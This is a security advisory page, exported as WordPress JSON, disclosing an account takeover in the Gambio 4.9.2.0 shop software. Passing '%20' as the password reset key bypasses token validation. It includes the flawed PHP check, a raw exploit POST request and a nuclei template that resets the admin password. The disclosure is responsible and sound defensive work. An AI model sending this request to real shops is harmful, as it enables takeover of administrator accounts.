{"id":22531,"date":"2024-04-30T07:08:17","date_gmt":"2024-04-30T05:08:17","guid":{"rendered":"https:\/\/herolab.usd.de\/security-advisories\/usd-2024-0002\/"},"modified":"2024-05-03T15:59:56","modified_gmt":"2024-05-03T13:59:56","slug":"usd-2024-0002","status":"publish","type":"page","link":"https:\/\/herolab.usd.de\/en\/security-advisories\/usd-2024-0002\/","title":{"rendered":"usd-2024-0002"},"content":{"rendered":"<p>[et_pb_section fb_built=\"1\" _builder_version=\"4.21.0\" _module_preset=\"default\" background_color=\"#2E353D\" custom_padding=\"||0px|||\" global_colors_info=\"{}\"][et_pb_row _builder_version=\"4.21.0\" _module_preset=\"default\" global_colors_info=\"{}\"][et_pb_column type=\"4_4\" _builder_version=\"4.21.0\" _module_preset=\"default\" global_colors_info=\"{}\"][et_pb_text _builder_version=\"4.25.0\" _module_preset=\"default\" custom_padding=\"||13px|||\" hover_enabled=\"0\" global_colors_info=\"{}\" sticky_enabled=\"0\"]<\/p>\n<h1>usd-2024-0002 | Gambio 4.9.2.0 - Account Takeover<\/h1>\n<h1><\/h1>\n<p><strong>Product<\/strong>: Gambio<br \/><strong>Affected Version<\/strong>: 4.9.2.0 (with Security Update 2024-01 v1.0)<br \/><strong>Vulnerability Type<\/strong>: Weak Password Recovery Mechanism for Forgotten Password (CWE-640)<br \/><strong>Security Risk<\/strong>: Critical<br \/><strong>Vendor URL<\/strong>: <a href=\"https:\/\/www.gambio.de\/\" target=\"_blank\" rel=\"noopener\">https:\/\/www.gambio.de\/<\/a><br \/><strong>Vendor Status<\/strong>: Fixed<br \/><strong>CVE number<\/strong>: Pending<\/p>\n<h3>Description<\/h3>\n<p>Gambio is a software program that is specifically designed for running online shops.<br \/>It provides various features and tools to help businesses manage their inventory, process orders, and handle customer interactions.<\/p>\n<p>According to their homepage, the software is used by more then 25.000 shops.<\/p>\n<p>The password reset functionality checks for the existence of a password recovery token.<br \/>However, this check can be bypassed with a space character (\"%20\").<\/p>\n<h3>Proof of Concept<\/h3>\n<p>The password reset functionality utilizes the <strong>password_double_opt.php<\/strong> file with multiple possible actions defined in the \"action\" parameter.<br \/>The file loads the <strong>PasswordDoubleOptContentControl.inc.php<\/strong> file and executes the <strong>proceed<\/strong> method.<\/p>\n<p>If the action is set to <strong>save_password<\/strong>, a database query is performed to fetch the customer specified in the POST parameter <strong>customers_id<\/strong> with the reset token defined in the <strong>key<\/strong> parameter.<br \/>Attackers can submit the <strong>customers_id<\/strong> as an integer, where the initial admin account usually has the id set to \"1\".<\/p>\n<p>In line 138 of the <strong>PasswordDoubleOptContentControl.inc.php<\/strong> file, the application checks if the previous database query returns results, or if the key is an empty string.<\/p>\n<div class=\"codehilite\" style=\"background: #263238;color: #eff\">\n<pre style=\"line-height: 125%\"><span style=\"background: #263238\"><\/span><span class=\"x\" style=\"background: #263238\">[...]<br \/><\/span><span class=\"x\" style=\"background: #263238\">if (!xtc_db_num_rows($check_customer_query) || $this-&gt;v_data_array['POST']['key'] == \"\")<br \/>{<\/span><span class=\"x\" style=\"background: #263238\">    $case = 'no_account';<\/span><span class=\"x\" style=\"background: #263238\">} <br \/>else <br \/>{<\/span><span class=\"x\" style=\"background: #263238\">    $newpass = $this-&gt;v_data_array['POST']['newPassword'];<br \/><\/span><span class=\"x\" style=\"background: #263238\">[...]<\/span><\/pre>\n<\/div>\n<p>The If-Statement shown in line 1 of the snippet above, can be bypassed to return \"false\", by submitting a space character (\"%20\") as the key.<br \/>The password provided in the request is set without knowing the key to the customer defined in customers_id.<\/p>\n<p>An example request is shown below:<\/p>\n<div class=\"codehilite\" style=\"background: #263238;color: #eff\">\n<pre style=\"line-height: 125%\"><span style=\"background: #263238\"><\/span><span class=\"nf\" style=\"background: #263238;color: #82aaff\">POST<\/span> <span class=\"nn\" style=\"background: #263238;color: #ffcb6b\">\/password_double_opt.php?action=save_password<\/span> <span class=\"kr\" style=\"background: #263238;color: #bb80b3\">HTTP<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">\/<\/span><span class=\"m\" style=\"background: #263238;color: #f78c6c\">1.1<br \/><\/span><span class=\"na\" style=\"background: #263238;color: #bb80b3\">Host<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">:<\/span> <span class=\"l\" style=\"background: #263238;color: #c3e88d\">localhost<\/span><span class=\"err\" style=\"background: #263238;color: #ff5370\">[...]<br \/><br \/><\/span>newPassword=changeme2&amp;confirmedPassword=changeme2&amp;customers_id=1&amp;key=%20<\/pre>\n<\/div>\n<p>A nuclei template was created to test for the vulnerability:<\/p>\n<div class=\"codehilite\" style=\"background: #263238;color: #eff\">\n<pre style=\"line-height: 125%\"><span style=\"background: #263238\"><\/span><span class=\"nt\" style=\"background: #263238;color: #ff5370\">id<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">:<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"l l-Scalar l-Scalar-Plain\" style=\"background: #263238;color: #c3e88d\">gambio-account-takeover<br \/><\/span><span class=\"nt\" style=\"background: #263238;color: #ff5370\">info<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">:<\/span><span class=\"w\" style=\"background: #263238;color: #eff\">  <br \/><\/span><span class=\"nt\" style=\"background: #263238;color: #ff5370\">name<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">:<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"l l-Scalar l-Scalar-Plain\" style=\"background: #263238;color: #c3e88d\">Account Takeover in Gambio<\/span><span class=\"w\" style=\"background: #263238;color: #eff\">  <br \/><\/span><span class=\"nt\" style=\"background: #263238;color: #ff5370\">description<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">:<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"l l-Scalar l-Scalar-Plain\" style=\"background: #263238;color: #c3e88d\">Account Takeover in Gambio<\/span><span class=\"w\" style=\"background: #263238;color: #eff\">  <br \/><\/span><span class=\"nt\" style=\"background: #263238;color: #ff5370\">tags<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">:<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"l l-Scalar l-Scalar-Plain\" style=\"background: #263238;color: #c3e88d\">gambio,php,intrusive<\/span><span class=\"w\" style=\"background: #263238;color: #eff\">  <br \/><\/span><span class=\"nt\" style=\"background: #263238;color: #ff5370\">author<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">:<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"l l-Scalar l-Scalar-Plain\" style=\"background: #263238;color: #c3e88d\">ChristianPoeschl,EdwinHoffmann<\/span><span class=\"w\" style=\"background: #263238;color: #eff\">  <br \/><\/span><span class=\"nt\" style=\"background: #263238;color: #ff5370\">severity<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">:<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"l l-Scalar l-Scalar-Plain\" style=\"background: #263238;color: #c3e88d\">critical<br \/><\/span><span class=\"nt\" style=\"background: #263238;color: #ff5370\">variables<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">:<\/span><span class=\"w\" style=\"background: #263238;color: #eff\">  <br \/><\/span><span class=\"nt\" style=\"background: #263238;color: #ff5370\">customerid<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">:<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"l l-Scalar l-Scalar-Plain\" style=\"background: #263238;color: #c3e88d\">1<\/span><span class=\"w\" style=\"background: #263238;color: #eff\">  <br \/><\/span><span class=\"nt\" style=\"background: #263238;color: #ff5370\">password<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">:<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"s\" style=\"background: #263238;color: #c3e88d\">\"somethingreallylong123\"<br \/><\/span><span class=\"nt\" style=\"background: #263238;color: #ff5370\">http<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">:<\/span><span class=\"w\" style=\"background: #263238;color: #eff\">  <br \/><\/span><span class=\"p p-Indicator\" style=\"background: #263238;color: #89ddff\">-<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"nt\" style=\"background: #263238;color: #ff5370\">raw<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">:<\/span><span class=\"w\" style=\"background: #263238;color: #eff\">    <br \/><\/span><span class=\"p p-Indicator\" style=\"background: #263238;color: #89ddff\">-<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"p p-Indicator\" style=\"background: #263238;color: #89ddff\">|<\/span><span class=\"w\" style=\"background: #263238;color: #eff\">      <br \/><\/span><span class=\"no\" style=\"background: #263238;color: #eff\">POST \/password_double_opt.php?action=save_password HTTP\/1.1<\/span><span class=\"w\" style=\"background: #263238;color: #eff\">      <br \/><\/span><span class=\"no\" style=\"background: #263238;color: #eff\">Host: {{Hostname}}<\/span><span class=\"w\" style=\"background: #263238;color: #eff\">      <br \/><\/span><span class=\"no\" style=\"background: #263238;color: #eff\">Content-Type: application\/x-www-form-urlencoded<\/span><span class=\"w\" style=\"background: #263238;color: #eff\">      <br \/><\/span><span class=\"no\" style=\"background: #263238;color: #eff\">newPassword={{password}}&amp;confirmedPassword={{password}}&amp;customers_id={{customerid}}&amp;key=%20<\/span><span class=\"w\" style=\"background: #263238;color: #eff\">    <br \/><\/span><span class=\"nt\" style=\"background: #263238;color: #ff5370\">matchers-condition<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">:<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"l l-Scalar l-Scalar-Plain\" style=\"background: #263238;color: #c3e88d\">and<\/span><span class=\"w\" style=\"background: #263238;color: #eff\">    <br \/><\/span><span class=\"nt\" style=\"background: #263238;color: #ff5370\">matchers<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">:<\/span><span class=\"w\" style=\"background: #263238;color: #eff\">      <br \/><\/span><span class=\"p p-Indicator\" style=\"background: #263238;color: #89ddff\">-<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"nt\" style=\"background: #263238;color: #ff5370\">type<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">:<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"l l-Scalar l-Scalar-Plain\" style=\"background: #263238;color: #c3e88d\">status<\/span><span class=\"w\" style=\"background: #263238;color: #eff\">        <br \/><\/span><span class=\"nt\" style=\"background: #263238;color: #ff5370\">status<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">:<\/span><span class=\"w\" style=\"background: #263238;color: #eff\">          <br \/><\/span><span class=\"p p-Indicator\" style=\"background: #263238;color: #89ddff\">-<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"l l-Scalar l-Scalar-Plain\" style=\"background: #263238;color: #c3e88d\">302<\/span><span class=\"w\" style=\"background: #263238;color: #eff\">      <br \/><\/span><span class=\"p p-Indicator\" style=\"background: #263238;color: #89ddff\">-<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"nt\" style=\"background: #263238;color: #ff5370\">type<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">:<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"l l-Scalar l-Scalar-Plain\" style=\"background: #263238;color: #c3e88d\">word<\/span><span class=\"w\" style=\"background: #263238;color: #eff\">        <br \/><\/span><span class=\"nt\" style=\"background: #263238;color: #ff5370\">part<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">:<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"l l-Scalar l-Scalar-Plain\" style=\"background: #263238;color: #c3e88d\">header<\/span><span class=\"w\" style=\"background: #263238;color: #eff\">        <br \/><\/span><span class=\"nt\" style=\"background: #263238;color: #ff5370\">words<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">:<\/span><span class=\"w\" style=\"background: #263238;color: #eff\">          <br \/><\/span><span class=\"p p-Indicator\" style=\"background: #263238;color: #89ddff\">-<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"s\" style=\"background: #263238;color: #c3e88d\">\"GXsid_\"<\/span><\/pre>\n<\/div>\n<h3>Fix<\/h3>\n<p>The password reset token should be properly validated.<\/p>\n<h3>References<\/h3>\n<p><a href=\"https:\/\/www.gambio.de\/\" target=\"_blank\" rel=\"noopener\">https:\/\/www.gambio.de<\/a><\/p>\n<h3>Timeline<\/h3>\n<p>2024-01-17: Vulnerability identified by Christian Poeschl and Edwin Hoffmann.<br \/>2024-01-26: First contact request via email to <a href=\"mailto:info@gambio.de\">info@gambio.de<\/a> .<br \/>2024-01-26: Received an update by Gambio that the incident is in internal review and will be fixed in an upcoming release.<br \/>2024-02-14: Gambio 4.9.2.1 fixes this issue.<br \/>2024-04-24: This advisory is published.<\/p>\n<h3>Credits<\/h3>\n<p>This security vulnerability was identified by Christian Poeschl, Edwin Hoffmann of usd AG.<\/p>\n<p>[\/et_pb_text][\/et_pb_column][\/et_pb_row][\/et_pb_section]<\/p>\n","protected":false},"excerpt":{"rendered":"<p>usd-2024-0002 | Gambio 4.9.2.0 - Account Takeover Product: GambioAffected Version: 4.9.2.0 (with Security Update 2024-01 v1.0)Vulnerability Type: Weak Password Recovery Mechanism for Forgotten Password (CWE-640)Security Risk: CriticalVendor URL: https:\/\/www.gambio.de\/Vendor Status: FixedCVE number: Pending Description Gambio is a software program that is specifically designed for running online shops.It provides various features and tools to help businesses [&hellip;]<\/p>\n","protected":false},"author":118,"featured_media":0,"parent":16124,"menu_order":0,"comment_status":"closed","ping_status":"closed","template":"","meta":{"_et_pb_use_builder":"on","_et_pb_old_content":"","_et_gb_content_width":"","inline_featured_image":false,"footnotes":""},"class_list":["post-22531","page","type-page","status-publish","hentry"],"_links":{"self":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/22531","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages"}],"about":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/users\/118"}],"replies":[{"embeddable":true,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/comments?post=22531"}],"version-history":[{"count":5,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/22531\/revisions"}],"predecessor-version":[{"id":22554,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/22531\/revisions\/22554"}],"up":[{"embeddable":true,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/16124"}],"wp:attachment":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/media?parent=22531"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}